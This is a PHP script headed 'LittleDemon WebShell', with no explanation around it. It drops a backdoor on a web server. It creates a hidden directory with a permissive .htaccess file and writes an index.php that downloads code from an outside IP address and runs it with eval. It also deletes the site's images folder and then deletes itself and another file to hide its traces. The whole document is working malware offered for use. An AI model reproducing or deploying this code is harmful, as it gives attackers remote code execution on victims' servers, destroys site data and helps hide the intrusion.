LittleDemon WebShell

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

function getRandomBytes($length = 2) {
    if (function_exists('random_bytes')) {
        return random_bytes($length);
    } elseif (function_exists('openssl_random_pseudo_bytes')) {
        return openssl_random_pseudo_bytes($length);
    } else {
        $bytes = '';
        for ($i = 0; $i < $length; $i++) {
            $bytes .= chr(mt_rand(0, 255));
        }
        return $bytes;
    }
}

function deleteFolder($folder) {
    if (!file_exists($folder)) return false;
    chmod($folder, 0777);
    $items = array_diff(scandir($folder), ['.', '..']);
    foreach ($items as $item) {
        $path = "$folder/$item";
        if (is_dir($path)) {
            deleteFolder($path);
        } else {
            chmod($path, 0777);
            unlink($path);
        }
    }
    return rmdir($folder);
}

$rootPath = $_SERVER["DOCUMENT_ROOT"];
$randomName = bin2hex(getRandomBytes(2)) . 'wp';
$wpContentPath = $rootPath . DIRECTORY_SEPARATOR . $randomName;

if (!is_dir($wpContentPath)) {
    if (!mkdir($wpContentPath, 0755, true)) {
        die("Failed to create $randomName directory");
    }
}

$htaccessPath = $wpContentPath . DIRECTORY_SEPARATOR . '.htaccess';

if (file_exists($htaccessPath)) {
    @unlink($htaccessPath);
}

$htaccessContent = <<<HTACCESS
<FilesMatch "\.php$">
    Order allow,deny
    Allow from all
</FilesMatch>
HTACCESS;

file_put_contents($htaccessPath, $htaccessContent);

$fullFilePath = $wpContentPath . DIRECTORY_SEPARATOR . 'index.php';

$phpCode = '<?php $url = "http://51.79.124.111/vz00";$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);$tag= curl_exec($ch);curl_close($ch);eval("?>" . ("$tag"));?>';

if (file_put_contents($fullFilePath, $phpCode) === false) {
    die("Failed to write PHP file");
}

echo "Testwow<br>$randomName/index.php</br>";

$imagesFolder = $rootPath . DIRECTORY_SEPARATOR . "images";
if (deleteFolder($imagesFolder)) {
} else {
}

@unlink(__FILE__);
@unlink("hinfofuns.php");
if (file_exists(__FILE__)) {
unlink(__FILE__);
}

?>